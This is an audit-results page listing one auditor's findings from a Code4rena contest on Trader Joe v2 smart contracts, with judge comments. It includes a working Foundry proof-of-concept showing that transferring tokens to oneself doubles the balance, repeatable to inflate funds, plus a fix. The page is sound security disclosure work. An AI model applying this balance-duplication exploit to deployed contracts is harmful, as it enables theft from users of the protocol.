Trader Joe v2 contest - Dravee's results

One-stop-shop decentralized trading on Avalanche.

General Information

Platform: Code4rena

Start Date: 14/10/2022

Pot Size: $100,000 USDC

Total HM: 12

Participants: 75

Period: 9 days

Judge: GalloDaSballo

Total Solo HM: 1

Id: 171

League: ETH

Trader Joe

Findings Distribution

Researcher Performance

Rank: 54/75

Findings: 2

Award: $0.43

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

Awards

0.4249 USDC - $0.42

Labels

bug
3 (High Risk)
primary issue
sponsor confirmed
selected for report
H-01

External Links

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L182 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L187 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L189-L192

Vulnerability details

Impact

Using temporary variables to update balances is a dangerous construction that has led to several hacks in the past. Here, we can see that _toBalance can overwrite _fromBalance:

File: LBToken.sol
176:     function _transfer(
177:         address _from,
178:         address _to,
179:         uint256 _id,
180:         uint256 _amount
181:     ) internal virtual {
182:         uint256 _fromBalance = _balances[_id][_from];
...
187:         uint256 _toBalance = _balances[_id][_to];
188: 
189:         unchecked {
190:             _balances[_id][_from] = _fromBalance - _amount;
191:             _balances[_id][_to] = _toBalance + _amount; //@audit : if _from == _to : rekt
192:         }
..
196:     }

Furthermore, the safeTransferFrom function has the checkApproval modifier which passes without any limit if _owner == _spender :

File: LBToken.sol
32:     modifier checkApproval(address _from, address _spender) {
33:         if (!_isApprovedForAll(_from, _spender)) revert LBToken__SpenderNotApproved(_from, _spender);
34:         _;
35:     }
...
131:     function safeTransferFrom(
...
136:     ) public virtual override checkAddresses(_from, _to) checkApproval(_from, msg.sender) {
...
269:     function _isApprovedForAll(address _owner, address _spender) internal view virtual returns (bool) {
270:         return _owner == _spender || _spenderApprovals[_owner][_spender];
271:     }

Proof of Concept

Add the following test to LBToken.t.sol (run it with forge test --match-path test/LBToken.t.sol --match-test testSafeTransferFromOneself -vvvv):

    function testSafeTransferFromOneself() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        uint256 initialBalance = pair.balanceOf(DEV, _ids[0]);

        assertEq(initialBalance, 333333333333333333); // using hardcoded value to ease understanding

        pair.safeTransferFrom(DEV, DEV, _ids[0], initialBalance); //transfering to oneself
        uint256 rektBalance1 = pair.balanceOf(DEV, _ids[0]); //computing new balance
        assertEq(rektBalance1, 2 * initialBalance); // the new balance is twice the initial one
        assertEq(rektBalance1, 666666666666666666); // using hardcoded value to ease understanding
    }

As we can see here, this test checks that transfering all your funds to yourself doubles your balance, and it's passing. This can be repeated again and again to increase your balance.

  • Add checks to make sure that _from != _to because that shouldn't be useful anyway
  • Prefer the following:
File: LBToken.sol
189:         unchecked {
190:             _balances[_id][_from] -= _amount;
191:             _balances[_id][_to] += _amount;
192:         }

#0 - trust1995

2022-10-23T21:19:10Z

Dup of #422

#1 - GalloDaSballo

2022-10-26T16:33:41Z

Example of short and sweet high quality report

#2 - GalloDaSballo

2022-10-26T16:34:13Z

Making this main although top 3 reports are equivalent (example of "Best" being subjective)

#3 - GalloDaSballo

2022-10-26T16:34:56Z

Choosing this over the other two because it's illustrative and brief at the same time, and offers a specific test case for the Sponsor to test mitigation against

#4 - JustDravee

2022-10-27T10:06:31Z

Thanks for the honor and encouraging words! I appreciate it! But oh man, 16 dups 🤣

#5 - GalloDaSballo

2022-11-08T22:09:49Z

The Warden has shown how, due to the improper usage of a supporting temporary variable, balance duplication can be achieved.

Mitigation will require ensuring that the intended variable is changed in storage, and the code offered by the warden should help produce a test case to compare the fix against.

Because the finding pertains to duplication of balances, causing a loss for users, I agree with High Severity

#6 - c4-judge

2022-11-08T22:09:56Z

GalloDaSballo marked the issue as selected for report

#7 - c4-judge

2022-11-14T13:56:50Z

GalloDaSballo marked the issue as primary issue

#8 - Simon-Busch

2022-12-05T06:27:07Z

Marked this issue as Satisfactory as requested by @GalloDaSballo

#9 - Simon-Busch

2022-12-05T06:37:39Z

Revert, wrong action.

Awards

0.006 USDC - $0.01

Labels

bug
2 (Med Risk)
satisfactory
duplicate-139

External Links

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBFactory.sol#L474-L481

Vulnerability details

Impact

Flashloan fees are unbounded and could even be above 100% as uint _flashLoanFee is of type uint256:

File: LBFactory.sol
474:     function setFlashLoanFee(uint256 _flashLoanFee) external override onlyOwner {
475:         uint256 _oldFlashLoanFee = flashLoanFee;
476: 
477:         if (_oldFlashLoanFee == _flashLoanFee) revert LBFactory__SameFlashLoanFee(_flashLoanFee);
478: 
479:         flashLoanFee = _flashLoanFee;
480:         emit FlashLoanFeeSet(_oldFlashLoanFee, _flashLoanFee);
481:     }

This leads to a trust issue / rug vector / potential misuse of this functionality.

Proof of Concept

Edit LBFactory.t.sol#testForSettingFlashloanFee like below and run it with forge test --match-test testForSettingFlashloanFee. It will pass, meaning any value is OK:

File: LBFactory.t.sol
- 394:     function testForSettingFlashloanFee() public {
+ 394:     function testForSettingFlashloanFee(uint256 flashFee) public {
- 395:         uint256 flashFee = 7e14;
396:         factory.setFlashLoanFee(flashFee);
397:         assertEq(factory.flashLoanFee(), flashFee);
398:         vm.expectRevert(abi.encodeWithSelector(LBFactory__SameFlashLoanFee.selector, flashFee));
399:         factory.setFlashLoanFee(flashFee);
400:     }

Consider adding an upper bound (maybe even a lower bound) or using a smaller unsigned_integer type for _flashLoanFee

#0 - GalloDaSballo

2022-10-27T21:15:40Z

#1 - c4-judge

2022-11-23T18:38:11Z

GalloDaSballo marked the issue as not a duplicate

#2 - c4-judge

2022-11-23T18:38:57Z

GalloDaSballo marked the issue as duplicate of #139

#3 - Simon-Busch

2022-12-05T06:33:07Z

Marked this issue as Satisfactory as requested by @GalloDaSballo

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter